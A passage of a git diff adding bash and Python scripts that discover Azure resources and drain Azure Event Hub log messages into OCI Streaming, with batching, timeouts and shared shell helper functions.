+# DISC_AZ_STORAGE_ACCOUNT_EXISTS (true/false) +# DISC_AZ_FUNCTION_APP_EXISTS (true/false) +# DISC_AZ_FUNCTION_APP +discover_azure_resources() { + local rg="${AZ_RG:-${EVENTHUB_RG:-azurelogs2oci-rg}}" + local ns="${EVENTHUB_NAMESPACE:-}" + local sa="${AZ_STORAGE_ACCOUNT:-}" + local app="${AZ_FUNCTION_APP:-}" + + DISC_AZ_RG_EXISTS="false" + DISC_AZ_EVENTHUB_NS_EXISTS="false" + DISC_AZ_EVENTHUBS="" + DISC_AZ_STORAGE_ACCOUNT_EXISTS="false" + DISC_AZ_FUNCTION_APP_EXISTS="false" + DISC_AZ_FUNCTION_APP="$app" + + if ! command -v az >/dev/null 2>&1; then + warn "az CLI not found; skipping Azure discovery." + return 1 + fi + + if ! az account show >/dev/null 2>&1; then + warn "Azure CLI not logged in; skipping Azure discovery." + return 1 + fi + + info "Discovering Azure resources..." + + # Resource Group + local rg_exists + rg_exists=$(az group exists -n "$rg" 2>/dev/null || echo "false") + if [[ "$rg_exists" == "true" ]]; then + DISC_AZ_RG_EXISTS="true" + fi + + # Event Hubs Namespace + if [[ -n "$ns" && "$DISC_AZ_RG_EXISTS" == "true" ]]; then + if az eventhubs namespace show --resource-group "$rg" --name "$ns" >/dev/null 2>&1; then + DISC_AZ_EVENTHUB_NS_EXISTS="true" + + # List Event Hubs + local hubs_csv + hubs_csv=$(az eventhubs eventhub list \ + --resource-group "$rg" \ + --namespace-name "$ns" \ + --query "[].name" -o tsv 2>/dev/null | tr '\n' ',' | sed 's/,$//') + DISC_AZ_EVENTHUBS="$hubs_csv" + fi + fi + + # Storage Account + if [[ -n "$sa" && "$DISC_AZ_RG_EXISTS" == "true" ]]; then + if az storage account show -g "$rg" -n "$sa" >/dev/null 2>&1; then + DISC_AZ_STORAGE_ACCOUNT_EXISTS="true" + fi + fi + + # Function App + if [[ -n "$app" && "$DISC_AZ_RG_EXISTS" == "true" ]]; then + if az functionapp show -g "$rg" -n "$app" >/dev/null 2>&1; then + DISC_AZ_FUNCTION_APP_EXISTS="true" + fi + fi + + ok "Azure discovery complete." +} + +# ── Discovery Summary ──────────────────────────────────────── + +show_discovery_summary() { + local section="${1:-all}" # "oci", "azure", or "all" + + echo "" + echo "============================================================" + echo " Resource Discovery Summary" + echo "============================================================" + + if [[ "$section" == "oci" || "$section" == "all" ]]; then + echo "" + echo " OCI Resources:" + printf " %-25s %s\n" "Namespace:" "${DISC_OCI_NAMESPACE:-(not detected)}" + printf " %-25s %s\n" "Stream Pool:" \ + "$( [[ -n "$DISC_OCI_STREAM_POOL_ID" ]] && echo "FOUND (${DISC_OCI_STREAM_POOL_ID:0:40}...)" || echo "not found" )" + printf " %-25s %s\n" "Stream:" \ + "$( [[ -n "$DISC_OCI_STREAM_ID" ]] && echo "FOUND (${DISC_OCI_STREAM_ID:0:40}...)" || echo "not found" )" + printf " %-25s %s\n" "Log Group:" \ + "$( [[ -n "$DISC_OCI_LOG_GROUP_ID" ]] && echo "FOUND (${DISC_OCI_LOG_GROUP_ID:0:40}...)" || echo "not found" )" + printf " %-25s %s\n" "LA Source:" \ + "$( [[ -n "$DISC_OCI_LA_SOURCE" ]] && echo "FOUND ($DISC_OCI_LA_SOURCE)" || echo "not found" )" + printf " %-25s %s\n" "Service Connector Hub:" \ + "$( [[ -n "$DISC_OCI_SCH_ID" ]] && echo "FOUND (${DISC_OCI_SCH_ID:0:40}...)" || echo "not found" )" + fi + + if [[ "$section" == "azure" || "$section" == "all" ]]; then + echo "" + echo " Azure Resources:" + printf " %-25s %s\n" "Resource Group:" \ + "$( [[ "$DISC_AZ_RG_EXISTS" == "true" ]] && echo "EXISTS" || echo "not found" )" + printf " %-25s %s\n" "Event Hub Namespace:" \ + "$( [[ "$DISC_AZ_EVENTHUB_NS_EXISTS" == "true" ]] && echo "EXISTS" || echo "not found" )" + printf " %-25s %s\n" "Event Hubs:" \ + "${DISC_AZ_EVENTHUBS:-(none)}" + printf " %-25s %s\n" "Storage Account:" \ + "$( [[ "$DISC_AZ_STORAGE_ACCOUNT_EXISTS" == "true" ]] && echo "EXISTS" || echo "not found" )" + printf " %-25s %s\n" "Function App:" \ + "$( [[ "$DISC_AZ_FUNCTION_APP_EXISTS" == "true" ]] && echo "EXISTS ($DISC_AZ_FUNCTION_APP)" || echo "not found" )" + fi + + echo "" + echo "============================================================" + echo "" +} diff --git a/observability-and-management/assets/azurelogs2oci/scripts/drain_eventhub_to_oci.sh b/observability-and-management/assets/azurelogs2oci/scripts/drain_eventhub_to_oci.sh new file mode 100644 index 000000000..aff5ad79e --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/drain_eventhub_to_oci.sh @@ -0,0 +1,408 @@ +#!/usr/bin/env bash +#=============================================================================== +# Drain Azure Event Hub to OCI Streaming - End-to-End Automated Test +# - Installs required SDKs if missing +# - Resolves Event Hub connection string via Azure CLI +# - Optionally sends sample EntraID logs to the Event Hub +# - Drains ALL available messages (from beginning or from timestamp) to OCI Streaming +# - Provides a clear summary at the end +#=============================================================================== +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +# shellcheck source=lib/common.sh +source "$SCRIPT_DIR/lib/common.sh" + +# Colors (drain script uses colored output for terminal UX) +GREEN='\033[0;32m' +BLUE='\033[0;34m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +NC='\033[0m' + +# Override with colored variants for this script +info() { printf "${BLUE}ℹ️ %s${NC}\n" "$1"; } +ok() { printf "${GREEN}✅ %s${NC}\n" "$1"; } +warn() { printf "${YELLOW}⚠️ %s${NC}\n" "$1"; } +err() { printf "${RED}❌ %s${NC}\n" "$1"; } + +# Pre-parse defaults (may be overridden after local env is loaded) +EVENTHUB_RG="" +EVENTHUB_NAMESPACE="" +EVENTHUB_NAME="" +CONSUMER_GROUP="" +COUNT="${COUNT:-0}" # sample logs to send (0 to skip) +FROM_BEGINNING=true # default mode (can switch to START_ISO) +START_ISO="" # ISO timestamp if provided +INACTIVITY_TIMEOUT="${INACTIVITY_TIMEOUT:-30}" +ALL_EVENTHUBS="${ALL_EVENTHUBS:-false}" +LOCAL_SETTINGS_PATH="${LOCAL_SETTINGS_PATH:-$SCRIPT_DIR/../function/EventHubsNamespaceToOCIStreaming/local.settings.json}" +ENV_FILE="${ENV_FILE:-$SCRIPT_DIR/../.env.local}" + +prompt_eventhub_if_missing() { + if [[ "$ALL_EVENTHUBS" == true ]]; then + return + fi + if [[ -n "$EVENTHUB_NAME" ]]; then + return + fi + if ! command -v az >/dev/null 2>&1; then + warn "Azure CLI not found; cannot list Event Hubs. Set EVENTHUB_NAME or use --all-eventhubs." + return + fi + info "Enumerating Event Hubs in namespace '$EVENTHUB_NAMESPACE'..." + HUBS=() + while IFS= read -r line; do + [[ -n "$line" ]] && HUBS+=("$line") + done < <(az eventhubs eventhub list \ + --resource-group "$EVENTHUB_RG" \ + --namespace-name "$EVENTHUB_NAMESPACE" \ + --query "[].name" \ + --output tsv 2>/dev/null) + + if [[ ${#HUBS[@]} -eq 0 ]]; then + warn "No Event Hubs discovered; specify --eventhub-name or use --all-eventhubs." + return + fi + + echo "Available Event Hubs:" + i=1 + for h in "${HUBS[@]}"; do + echo " [$i] $h" + ((i++)) + done + read -r -p "Select Event Hub number, type a name, or enter 'all' to drain all: " choice + if [[ "$choice" == "all" ]]; then + ALL_EVENTHUBS=true + return + fi + if [[ "$choice" =~ ^[0-9]+$ ]]; then + idx=$((choice-1)) + if [[ $idx -ge 0 && $idx -lt ${#HUBS[@]} ]]; then + EVENTHUB_NAME="${HUBS[$idx]}" + return + fi + fi + if [[ -n "$choice" ]]; then + EVENTHUB_NAME="$choice" + fi +} + +try_load_from_local_settings() { + local file="$1" + [[ ! -f "$file" ]] && return + info "Attempting to load OCI settings from $file" + set +e + local parsed + parsed="$(LOCAL_SETTINGS_PATH="$file" python3 - <<'PY' +import json +import os +path = os.environ["LOCAL_SETTINGS_PATH"] +with open(path) as fh: + data = json.load(fh) +vals = data.get("Values", {}) +print(vals.get("MessageEndpoint") or vals.get("OCI_MESSAGE_ENDPOINT") or "") +print(vals.get("StreamOcid") or vals.get("OCI_STREAM_OCID") or "") +PY +)" + local rc=$? + set -e + if [[ $rc -ne 0 ]]; then + warn "Could not parse $file for OCI settings" + return + fi + local file_endpoint file_stream + file_endpoint="$(echo "$parsed" | sed -n '1p')" + file_stream="$(echo "$parsed" | sed -n '2p')" + if [[ -z "$OCI_MESSAGE_ENDPOINT" && -n "$file_endpoint" ]]; then + OCI_MESSAGE_ENDPOINT="$file_endpoint" + ok "Loaded OCI_MESSAGE_ENDPOINT from $file" + fi + if [[ -z "$OCI_STREAM_OCID" && -n "$file_stream" ]]; then + OCI_STREAM_OCID="$file_stream" + ok "Loaded OCI_STREAM_OCID from $file" + fi +} + +# Parse flags +while [[ $# -gt 0 ]]; do + case "$1" in + --eventhub-rg) EVENTHUB_RG="$2"; shift 2;; + --namespace|--eventhub-namespace) EVENTHUB_NAMESPACE="$2"; shift 2;; + --eventhub-name) EVENTHUB_NAME="$2"; shift 2;; + --consumer-group) CONSUMER_GROUP="$2"; shift 2;; + --count) COUNT="$2"; shift 2;; + --from-beginning) FROM_BEGINNING=true; shift ;; + --start-iso) START_ISO="$2"; FROM_BEGINNING=false; shift 2;; + --inactivity-timeout) INACTIVITY_TIMEOUT="$2"; shift 2;; + --all-eventhubs) ALL_EVENTHUBS=true; shift ;; + --help|-h) + cat </dev/null 2>&1; then + err "Azure CLI not found. Install Azure CLI first." + exit 1 +fi + +# Python and pip +if ! command -v python3 >/dev/null 2>&1; then + err "python3 not found." + exit 1 +fi + +if ! python3 - <<'PY' >/dev/null 2>&1 +import pkgutil +import sys +mods = ["azure.eventhub","oci"] +missing = [m for m in mods if pkgutil.find_loader(m) is None] +sys.exit(0 if not missing else 1) +PY +then + info "Installing required Python packages (azure-eventhub, oci)..." + python3 -m pip install --upgrade pip >/dev/null 2>&1 || true + python3 -m pip install azure-eventhub oci >/dev/null 2>&1 || true +fi +ok "Python SDKs are present" + +# Resolve Event Hub connection string +# Prefer local env value (EventHubsConnectionString or EVENTHUB_CONNECTION_STRING) +EVENTHUB_CONNECTION_STRING="${EVENTHUB_CONNECTION_STRING:-${EventHubsConnectionString:-}}" + +if [[ -n "$EVENTHUB_CONNECTION_STRING" ]]; then + ok "Event Hub connection string loaded from environment" +else + info "Retrieving Event Hub connection string from Azure..." + if ! EVENTHUB_CONNECTION_STRING="$(az eventhubs namespace authorization-rule keys list \ + --resource-group "$EVENTHUB_RG" \ + --namespace-name "$EVENTHUB_NAMESPACE" \ + --name "RootManageSharedAccessKey" \ + --query primaryConnectionString \ + --output tsv 2>/dev/null)"; then + err "Failed to obtain Event Hub connection string. Check RG/namespace." + exit 1 + fi +fi + +if [[ -z "$EVENTHUB_CONNECTION_STRING" ]]; then + err "Empty Event Hub connection string. Verify Azure permissions and resource names." + exit 1 +fi +ok "Event Hub connection string obtained" + +# Extract OCI settings +if [[ -z "$OCI_MESSAGE_ENDPOINT" || -z "$OCI_STREAM_OCID" ]]; then + if [[ -f "$HOME/.oci/config" ]]; then + info "Loading OCI settings from ~/.oci/config (you can override with env vars)" + # We don't parse endpoint/stream OCID from config by default; require envs or use defaults if known + # If you want to bake defaults, set env vars before running the script. + else + warn "OCI config file not found. Ensure OCI_MESSAGE_ENDPOINT and OCI_STREAM_OCID are exported." + fi +fi + +if [[ -z "$OCI_MESSAGE_ENDPOINT" || -z "$OCI_STREAM_OCID" ]]; then + try_load_from_local_settings "$LOCAL_SETTINGS_PATH" + # Try a sibling local.settings.json if the default path is absent + if [[ -z "$OCI_MESSAGE_ENDPOINT" || -z "$OCI_STREAM_OCID" ]]; then + try_load_from_local_settings "$PWD/local.settings.json" + fi +fi + +if [[ -z "$OCI_MESSAGE_ENDPOINT" || -z "$OCI_STREAM_OCID" ]]; then + err "OCI_MESSAGE_ENDPOINT and/or OCI_STREAM_OCID not set. +Export them, e.g.: + export OCI_MESSAGE_ENDPOINT=\"https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com\" + export OCI_STREAM_OCID=\"ocid1.stream.oc1...\"" + exit 1 +fi +ok "OCI environment variables present" + +# Export minimal env for helper scripts +export EVENTHUB_CONNECTION_STRING +export EVENTHUB_NAME="$EVENTHUB_NAME" + +echo "" +info "Configuration:" +echo " Event Hub RG: $EVENTHUB_RG" +echo " Event Hub Namespace: $EVENTHUB_NAMESPACE" +echo " Event Hub Name: $EVENTHUB_NAME" +echo " Consumer Group: $CONSUMER_GROUP" +echo " Drain Mode: $( [[ "$FROM_BEGINNING" == true ]] && echo 'from-beginning' || echo "from $START_ISO" )" +echo " Inactivity Timeout: ${INACTIVITY_TIMEOUT}s" +echo " All Event Hubs: $ALL_EVENTHUBS" +echo "" + +cd "$SCRIPT_DIR" + +# All Event Hubs mode: enumerate hubs and drain each +if [[ "$ALL_EVENTHUBS" == true ]]; then + info "Enumerating Event Hubs in namespace '$EVENTHUB_NAMESPACE'..." + if ! command -v az >/dev/null 2>&1; then + err "Azure CLI is required to list Event Hubs. Install Azure CLI." + exit 1 + fi + EH_LIST=() + while IFS= read -r line; do + [[ -n "$line" ]] && EH_LIST+=("$line") + done < <(az eventhubs eventhub list \ + --resource-group "$EVENTHUB_RG" \ + --namespace-name "$EVENTHUB_NAMESPACE" \ + --query "[].name" \ + --output tsv 2>/dev/null) + + if [[ ${#EH_LIST[@]} -eq 0 ]]; then + err "No Event Hubs found in namespace '$EVENTHUB_NAMESPACE'." + exit 1 + fi + + info "Found ${#EH_LIST[@]} Event Hubs:" + for EH in "${EH_LIST[@]}"; do + echo " • $EH" + done + + info "Draining all Event Hubs to OCI Streaming..." + OVERALL_RC=0 + for EH in "${EH_LIST[@]}"; do + echo "" + info "Draining Event Hub: $EH" + DRAIN_CMD=( python3 eventhub_consumer.py + --connection-string "$EVENTHUB_CONNECTION_STRING" + --eventhub-name "$EH" + --consumer-group "$CONSUMER_GROUP" + --inactivity-timeout "$INACTIVITY_TIMEOUT" + ) + if [[ "$FROM_BEGINNING" == true ]]; then + DRAIN_CMD+=( --from-beginning ) + elif [[ -n "$START_ISO" ]]; then + DRAIN_CMD+=( --start-iso "$START_ISO" ) + fi + echo " Running: ${DRAIN_CMD[*]}" + set +e + "${DRAIN_CMD[@]}" + RC=$? + set -e + if [[ $RC -ne 0 ]]; then + warn "Drain failed for '$EH' (exit $RC)" + OVERALL_RC=$RC + else + ok "Drain completed for '$EH'" + fi + done + + echo "" + printf "${GREEN}===============================================================================${NC}\n" + printf "${GREEN}🎉 Completed: Namespace drain (%s → OCI Streaming)${NC}\n" "$EVENTHUB_NAMESPACE" + printf "${GREEN}===============================================================================${NC}\n" + exit $OVERALL_RC +fi + +# Step A: Optionally send sample events to Event Hub (for testing) +if [[ "$COUNT" -gt 0 ]]; then + if [[ -f "test_send_to_eventhub.py" ]]; then + info "Sending $COUNT sample EntraID audit logs to Event Hub..." + python3 test_send_to_eventhub.py \ + --count "$COUNT" \ + --connection-string "$EVENTHUB_CONNECTION_STRING" \ + --eventhub-name "$EVENTHUB_NAME" || warn "Sample send failed (continuing)" + ok "Sample send step complete" + else + warn "Sample sender (test_send_to_eventhub.py) not found. Skipping sample send." + fi +else + info "Skipping sample send (COUNT=$COUNT)" +fi + +# Step B: Drain all messages to OCI +info "Draining Event Hub to OCI Streaming..." +DRAIN_CMD=( python3 eventhub_consumer.py + --connection-string "$EVENTHUB_CONNECTION_STRING" + --eventhub-name "$EVENTHUB_NAME" + --consumer-group "$CONSUMER_GROUP" + --inactivity-timeout "$INACTIVITY_TIMEOUT" +) + +if [[ "$FROM_BEGINNING" == true ]]; then + DRAIN_CMD+=( --from-beginning ) +elif [[ -n "$START_ISO" ]]; then + DRAIN_CMD+=( --start-iso "$START_ISO" ) +fi + +echo " Running: ${DRAIN_CMD[*]}" +set +e +"${DRAIN_CMD[@]}" +DRAIN_RC=$? +set -e + +if [[ $DRAIN_RC -ne 0 ]]; then + err "Drain command failed (exit $DRAIN_RC)" + exit $DRAIN_RC +fi +ok "Drain step completed" + +echo "" +printf "${GREEN}===============================================================================${NC}\n" +printf "${GREEN}🎉 Completed: Event Hub → OCI Streaming drain${NC}\n" +printf "${GREEN}===============================================================================${NC}\n" +echo "Next:" +echo " • Verify OCI Streaming stream shows received messages" +echo " • Point EntraID Diagnostic Settings to Event Hub '$EVENTHUB_NAME' for continuous flow" diff --git a/observability-and-management/assets/azurelogs2oci/scripts/eventhub_consumer.py b/observability-and-management/assets/azurelogs2oci/scripts/eventhub_consumer.py new file mode 100644 index 000000000..1bcf05ec3 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/eventhub_consumer.py @@ -0,0 +1,376 @@ +#!/usr/bin/env python3 +""" +Event Hub Consumer - Drain all messages from Azure Event Hub and forward to OCI Streaming + +Features: +- Drain mode: start from-beginning or specific ISO timestamp +- Inactivity timeout: stop automatically after N seconds without new events +- Batching: respect OCI 1MB batch size; configurable max messages per batch +- No-intervention: reads configuration from env or CLI flags + +Environment variables (fallbacks for CLI flags): +- EVENTHUB_CONNECTION_STRING +- EVENTHUB_NAME +- EVENTHUB_CONSUMER_GROUP (default: $Default) +- OCI_MESSAGE_ENDPOINT (e.g. https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com) +- OCI_STREAM_OCID + +Usage examples: + python eventhub_consumer.py --from-beginning + python eventhub_consumer.py --start-iso "2025-12-01T00:00:00Z" --inactivity-timeout 30 + python eventhub_consumer.py --connection-string "..." --eventhub-name "ocitests" --from-beginning +""" + +import os +import sys +import json +import time +import threading +from typing import List, Tuple, Optional +from base64 import b64encode + +# Azure Event Hub (sync client to simplify draining logic) +try: + from azure.eventhub import EventHubConsumerClient, EventData + AZURE_EH_OK = True +except Exception as e: + print("⚠️ Missing Azure Event Hub SDK. Install with: pip install azure-eventhub") + AZURE_EH_OK = False + +# OCI Streaming SDK +try: + import oci + from oci.streaming.models import PutMessagesDetails, PutMessagesDetailsEntry + OCI_OK = True +except Exception as e: + print("⚠️ Missing OCI SDK. Install with: pip install oci") + OCI_OK = False + +def _enrich(body: str) -> List[str]: + """Unwrap Azure Event Hub records envelope and inject cloud-provider tag. + + Azure diagnostic settings wrap log entries in {"records": [...]}. + This function unwraps the array so each record is a standalone JSON + object with cloudProvider injected, matching the OCI LA parser paths. + """ + try: + obj = json.loads(body) + # Azure Event Hub diagnostic settings envelope + if isinstance(obj, dict) and "records" in obj and isinstance(obj["records"], list): + results = [] + for record in obj["records"]: + if isinstance(record, dict): + record["cloudProvider"] = "Azure" + results.append(json.dumps(record, separators=(",", ":"))) + return results if results else [body] + # Single record (no envelope) + obj["cloudProvider"] = "Azure" + return [json.dumps(obj, separators=(",", ":"))] + except (json.JSONDecodeError, TypeError): + return [body] + + +# ---------- OCI Sender ---------- + +class OciStreamSender: + def __init__(self, endpoint: Optional[str], stream_ocid: Optional[str], profile: Optional[str] = None): + if not OCI_OK: + raise RuntimeError("OCI SDK not available") + if not endpoint or not stream_ocid: + raise RuntimeError("OCI_MESSAGE_ENDPOINT and OCI_STREAM_OCID are required") + + # Load config from ~/.oci/config + cfg = oci.config.from_file(profile_name=profile) if profile else oci.config.from_file() + # Build client with message endpoint + self.client = oci.streaming.StreamClient(cfg, service_endpoint=endpoint) + self.stream_ocid = stream_ocid + + @staticmethod + def estimate_batch_bytes(messages: List[str]) -> int: + # Rough estimate: sum base64-encoded payload bytes + small per-message overhead + return sum(len(b64encode(m.encode("utf-8"))) for m in messages) + len(messages) * 50 + + def send_batch(self, payloads: List[str]) -> Tuple[int, int]: + """ + Send a batch of messages to OCI Streaming. Returns (sent, failed). + """ + if not payloads: + return (0, 0) + + entries = [PutMessagesDetailsEntry(value=b64encode(p.encode("utf-8")).decode("utf-8")) for p in payloads] + req = PutMessagesDetails(messages=entries) + resp = self.client.put_messages(self.stream_ocid, req) + sent = 0 + failed = 0 + results = resp.data.entries or [] + for r in results: + if r.error: + failed += 1 + else: + sent += 1 + return (sent, failed) + + def send_with_size_limit(self, payloads: List[str], max_bytes: int = 1024 * 1024, max_count: int = 100) -> Tuple[int, int, int]: + """ + Chunk messages by size/count to respect OCI limits. Returns (total_sent, total_failed, batches). + """ + total_sent = total_failed = batches = 0 + batch: List[str] = [] + for p in payloads: + candidate = batch + [p] + if len(candidate) > max_count or self.estimate_batch_bytes(candidate) > max_bytes: + # flush current batch + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + batch = [p] + else: + batch = candidate + if batch: + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + return (total_sent, total_failed, batches) + +# ---------- Consumer ---------- + +class EventHubDrainer: + def __init__( + self, + connection_string: str, + eventhub_name: str, + consumer_group: str, + starting_position: str, + inactivity_timeout: int = 30, + oci_sender: Optional[OciStreamSender] = None, + max_batch_bytes: int = 1024 * 1024, + max_batch_count: int = 100 + ): + if not AZURE_EH_OK: + raise RuntimeError("Azure Event Hub SDK not available") + + self.client = EventHubConsumerClient.from_connection_string( + conn_str=connection_string, + consumer_group=consumer_group or "$Default", + eventhub_name=eventhub_name + ) + self.starting_position = starting_position + self.inactivity_timeout = inactivity_timeout + self.oci_sender = oci_sender + self.max_batch_bytes = max_batch_bytes + self.max_batch_count = max_batch_count + + self._lock = threading.Lock() + self._last_event_ts = time.time() + self._stop_flag = False + + self._buffer: List[str] = [] + self.messages_processed = 0 + self.messages_sent = 0 + self.messages_failed = 0 + self.batches = 0 + + def _flush_if_needed(self, force: bool = False): + if self.oci_sender is None: + # Print and clear buffer when forced + if force and self._buffer: + print(f"📦 Would send {len(self._buffer)} messages to OCI (logging only)") + self._buffer.clear() + return + + if not self._buffer: + return + + if force: + to_send = self._buffer[:] + self._buffer.clear() + s, f, b = self.oci_sender.send_with_size_limit( + to_send, max_bytes=self.max_batch_bytes, max_count=self.max_batch_count + ) + self.messages_sent += s + self.messages_failed += f + self.batches += b + print(f" ✅ Flushed {s} msgs to OCI (batches={b}, failed={f})") + return + + # Non-forced: flush if size/count over threshold + est = OciStreamSender.estimate_batch_bytes(self._buffer) + if len(self._buffer) >= self.max_batch_count or est >= self.max_batch_bytes: + to_send = self._buffer[:] + self._buffer.clear() + s, f, b = self.oci_sender.send_with_size_limit( + to_send, max_bytes=self.max_batch_bytes, max_count=self.max_batch_count + ) + self.messages_sent += s + self.messages_failed += f + self.batches += b + print(f" ✅ Flushed {s} msgs to OCI (batches={b}, failed={f})") + + def on_event(self, partition_context, event): + if event is None: + return + try: + body = event.body_as_str(encoding="utf-8") + # Unwrap records envelope and enrich with cloud provider tag + records = _enrich(body) + self._last_event_ts = time.time() + self.messages_processed += len(records) + + # Add each unwrapped record to buffer + with self._lock: + self._buffer.extend(records) + # Flush opportunistically if thresholds exceeded + self._flush_if_needed(force=False) + + # Update checkpoint + partition_context.update_checkpoint(event) + + if self.messages_processed % 100 == 0: + print(f"📊 Progress: processed={self.messages_processed}, sent={self.messages_sent}, failed={self.messages_failed}") + + except Exception as e: + print(f"❌ Error processing event: {e}") + # Try to checkpoint to avoid re-reading bad message + try: + partition_context.update_checkpoint(event) + except Exception: + pass + + def on_error(self, partition_context, error): + if partition_context: + print(f"❌ Partition {partition_context.partition_id} error: {error}") + else: + print(f"❌ General error: {error}") + + def on_partition_initialize(self, partition_context): + print(f"🔄 Start partition {partition_context.partition_id}") + + def on_partition_close(self, partition_context, reason): + print(f"🛑 Close partition {partition_context.partition_id}: {reason}") + + def _watchdog(self): + # Stop receiving after inactivity_timeout seconds with no new events + while not self._stop_flag: + time.sleep(2) + if time.time() - self._last_event_ts >= self.inactivity_timeout: + print(f"⏰ No events for {self.inactivity_timeout}s, stopping receive...") + self._stop_flag = True + try: + self.client.close() + except Exception: + pass + break + + def drain(self): + print("🔧 Consumer configuration") + print(f" starting_position: {self.starting_position}") + print(f" inactivity_timeout: {self.inactivity_timeout}s") + print(f" batching: max_count={self.max_batch_count}, max_bytes={self.max_batch_bytes}") + print(f" OCI: {'enabled' if self.oci_sender else 'disabled (logging only)'}") + print() + + # Start watchdog thread + t = threading.Thread(target=self._watchdog, daemon=True) + t.start() + + try: + # Receive blocks until close() invoked or error + self.client.receive( + on_event=self.on_event, + on_error=self.on_error, + on_partition_initialize=self.on_partition_initialize, + on_partition_close=self.on_partition_close, + starting_position=self.starting_position, + max_wait_time=self.inactivity_timeout + ) + finally: + # Force-flush remaining messages + with self._lock: + self._flush_if_needed(force=True) + + print() + print("=" * 80) + print("✅ Drain complete" if self.messages_processed > 0 else "ℹ️ No messages consumed") + print("=" * 80) + print(f" Messages processed: {self.messages_processed}") + if self.oci_sender: + print(f" Messages sent to OCI: {self.messages_sent}") + print(f" Messages failed: {self.messages_failed}") + print(f" Batches: {self.batches}") + print() + +# ---------- CLI ---------- + +def main(): + import argparse + parser = argparse.ArgumentParser( + description="Drain Azure Event Hub and forward all messages to OCI Streaming", + formatter_class=argparse.RawDescriptionHelpFormatter + ) + parser.add_argument("--connection-string", type=str, help="Event Hub connection string (or EVENTHUB_CONNECTION_STRING)") + parser.add_argument("--eventhub-name", type=str, help="Event Hub name (or EVENTHUB_NAME)") + parser.add_argument("--consumer-group", type=str, default=os.environ.get("EVENTHUB_CONSUMER_GROUP", "$Default"), + help="Consumer group (default: $Default)") + start = parser.add_mutually_exclusive_group() + start.add_argument("--from-beginning", action="store_true", help="Start from the earliest available event") + start.add_argument("--start-iso", type=str, help="Start from ISO-8601 timestamp (e.g. 2025-12-01T00:00:00Z)") + parser.add_argument("--inactivity-timeout", type=int, default=30, help="Stop after N seconds with no events (default 30)") + parser.add_argument("--batch-max-bytes", type=int, default=1024 * 1024, help="Max total bytes per OCI batch (default 1048576)") + parser.add_argument("--batch-max-count", type=int, default=100, help="Max messages per OCI batch (default 100)") + parser.add_argument("--no-oci", action="store_true", help="Disable OCI forwarding (log only)") + parser.add_argument("--oci-endpoint", type=str, help="OCI message endpoint (or OCI_MESSAGE_ENDPOINT env)") + parser.add_argument("--oci-stream-ocid", type=str, help="OCI Stream OCID (or OCI_STREAM_OCID env)") + parser.add_argument("--oci-profile", type=str, help="OCI CLI profile in ~/.oci/config") + + args = parser.parse_args() + + if not AZURE_EH_OK: + print("❌ Azure Event Hub SDK not installed. Install with: pip install azure-eventhub") + return 1 + if not OCI_OK and not args.no_oci: + print("❌ OCI SDK not installed. Install with: pip install oci") + return 1 + + conn = args.connection_string or os.environ.get("EVENTHUB_CONNECTION_STRING") + eh_name = args.eventhub_name or os.environ.get("EVENTHUB_NAME") + if not conn or not eh_name: + print("❌ Missing Event Hub settings. Provide --connection-string/--eventhub-name or use EVENTHUB_CONNECTION_STRING/EVENTHUB_NAME env.") + return 1 + + # Starting position + starting_position = "@latest" + if args.from_beginning: + starting_position = "-1" # earliest + elif args.start_iso: + starting_position = args.start_iso + + # OCI sender + oci_sender = None + if not args.no_oci: + endpoint = args.oci_endpoint or os.environ.get("OCI_MESSAGE_ENDPOINT") + stream_ocid = args.oci_stream_ocid or os.environ.get("OCI_STREAM_OCID") + try: + oci_sender = OciStreamSender(endpoint=endpoint, stream_ocid=stream_ocid, profile=args.oci_profile) + print("✅ OCI sender initialized") + except Exception as e: + print(f"⚠️ OCI sender not initialized: {e}") + print(" Continuing without OCI (logging only).") + oci_sender = None + + drainer = EventHubDrainer( + connection_string=conn, + eventhub_name=eh_name, + consumer_group=args.consumer_group, + starting_position=starting_position, + inactivity_timeout=args.inactivity_timeout, + oci_sender=oci_sender, + max_batch_bytes=args.batch_max_bytes, + max_batch_count=args.batch_max_count + ) + drainer.drain() + return 0 + +if __name__ == "__main__": + sys.exit(main()) diff --git a/observability-and-management/assets/azurelogs2oci/scripts/lib/common.sh b/observability-and-management/assets/azurelogs2oci/scripts/lib/common.sh new file mode 100644 index 000000000..8c61d483e --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/lib/common.sh @@ -0,0 +1,115 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# common.sh – Shared helper functions for azurelogs2oci scripts +# +# Source this file at the top of every script: +# SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +# source "$SCRIPT_DIR/lib/common.sh" +# ───────────────────────────────────────────────────────────── + +# ── Logging ────────────────────────────────────────────────── +info() { printf "ℹ️ %s\n" "$*"; } +ok() { printf "✅ %s\n" "$*"; } +warn() { printf "⚠️ %s\n" "$*" >&2; } +err() { printf "❌ %s\n" "$*" >&2; } + +# ── Prerequisite check ─────────────────────────────────────── +require_cmd() { + if ! command -v "$1" >/dev/null 2>&1; then + err "Missing required command: $1" + exit 1 + fi +} + +# ── Prompting ──────────────────────────────────────────────── +prompt_default() { + local prompt="$1" default="$2" var + read -r -p "$prompt [$default]: " var + if [[ -z "$var" ]]; then echo "$default"; else echo "$var"; fi +} + +prompt_required() { + local prompt="$1" default="${2:-}" val="" + while true; do + read -r -p "$prompt${default:+ [$default]}: " val + if [[ -z "$val" ]]; then + if [[ -n "$default" ]]; then val="$default"; break; fi + warn "This value is required." + continue + fi + break + done + echo "$val" +} + +prompt_secret() { + local prompt="$1" var + read -r -s -p "$prompt: " var + echo + echo "$var" +} + +prompt_yn() { + local prompt="$1" default="${2:-y}" ans + read -r -p "$prompt [$default]: " ans + ans="${ans:-$default}" + [[ "$ans" =~ ^[Yy] ]] +} + +# ── Environment file helpers ───────────────────────────────── + +# load_env [path] +# Source .env.local (preferred) or legacy .env with tolerance for unset variables. +# Defaults to $REPO_ROOT/.env.local if no argument given. +load_env() { + local env_path="${1:-${REPO_ROOT:-.}/.env.local}" + local legacy_env_path="" 